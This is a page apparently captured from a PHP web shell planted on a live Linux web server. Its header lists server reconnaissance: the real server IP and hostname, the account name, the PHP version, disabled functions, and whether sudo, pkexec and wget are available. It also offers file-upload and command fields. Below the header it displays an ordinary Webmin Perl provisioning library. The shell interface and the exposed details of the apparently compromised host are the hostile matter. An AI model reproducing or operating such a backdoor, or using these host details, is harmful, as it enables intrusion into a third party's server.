Private
Server IP : 195.201.23.43  /  Your IP : 3.147.84.210
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/provision-lib.pl
# Functions for talking to a remote provisioning system

sub list_provision_features
{
return ('dns', 'mysql', 'spam', 'virus');
}

# check_provision_login()
# Validate that the selected provisioning system can be used and has the needed
# features.
sub check_provision_login
{
my ($ok, $msg) = &provision_api_call("list-provision-features", {}, 1);
if (!$ok) {
	# Request failed
	return $msg;
	}
if (ref($msg) ne 'ARRAY') {
	return "Invalid response from list-provision-features : $msg";
	}
my %feats = map { $_->{'name'}, $_->{'values'} } @$msg;
if ($config{'provision_dns'}) {
	# Make sure DNS is supported
	$feats{'dns'} || return $text{'provision_ednssupport'};
	$feats{'dns'}->{'limit'} || return $text{'provision_ednslimit'};
	$feats{'dns'}->{'systems'} || return $text{'provision_ednssystems'};
	}
if ($config{'provision_mysql'}) {
	# Make sure MySQL logins and DBs are supported
	$feats{'mysql'} && $feats{'mysqldb'} ||
		return $text{'provision_emysqlsupport'};
	$feats{'mysql'}->{'limit'} && $feats{'mysqldb'}->{'limit'} ||
		return $text{'provision_emysqllimit'};
	$feats{'mysql'}->{'systems'} && $feats{'mysqldb'}->{'systems'} ||
		return $text{'provision_emysqlsystems'};
	}
if ($config{'provision_virus'}) {
	# Make sure remote scanning is possible
	&has_command("clamd-stream-client") ||
	    &has_command("clamdscan") ||
		return &text('provision_evirusclient', 'clamd-stream-client');
	}
if ($config{'provision_spam'}) {
	# Make sure remote filtering is possible
	&has_command("spamc") ||
		return &text('provision_espamclient', 'spamc');
	}
return undef;
}

# provision_api_call(command, &args, multiline)
# Calls an API program on the configured provisioning server, and returns 
# a status code (0=failed, 1=success) and either an error message, text output
# or a perl object (in multiline mode).
sub provision_api_call
{
my ($cmd, $args, $multiline) = @_;
my ($out, $err);
my @args;
foreach my $k (keys %$args) {
	if (ref($args->{$k})) {
		push(@args, map { [ $k, $_ ] } @{$args->{$k}});
		}
	else {
		push(@args, [ $k, $args->{$k} ]);
		}
	}
&http_download($config{'provision_server'}, $config{'provision_port'},
	       "/server-manager/remote.cgi?program=".&urlize($cmd).
	       join("", map { "&".$_->[0]."=".&urlize($_->[1]) } @args).
	       ($multiline ? "&multiline=&perl=" : ""),
	       \$out, \$err, undef,
	       $config{'provision_ssl'},
	       $config{'provision_user'},
	       $config{'provision_pass'},
	       60, 0, 1);
if ($err) {
	return (0, $err);
	}
if ($out =~ /^ERROR:\s+(.*)/ || $out =~ /\nERROR:\s+(.*)/) {
	# Command reported failure
	return (0, $1);
	}
elsif ($out =~ /Exit\s+status:\s+(\d+)/ && $1 != 0) {
	# Command failed
	return (0, "$cmd failed : $out");
	}
if ($multiline) {
	# Parse perl format
	my $rv = eval $out;
	if ($@) {
		return (0, "Invalid response format : $@");
		}
	if ($rv->{'status'} ne 'success') {
		return (0, $rv->{'error'} || "$cmd failed");
		}
	return (1, $rv->{'data'});
	}
else {
	# Plain text format
	return (1, $out);
	}
}

1;

Private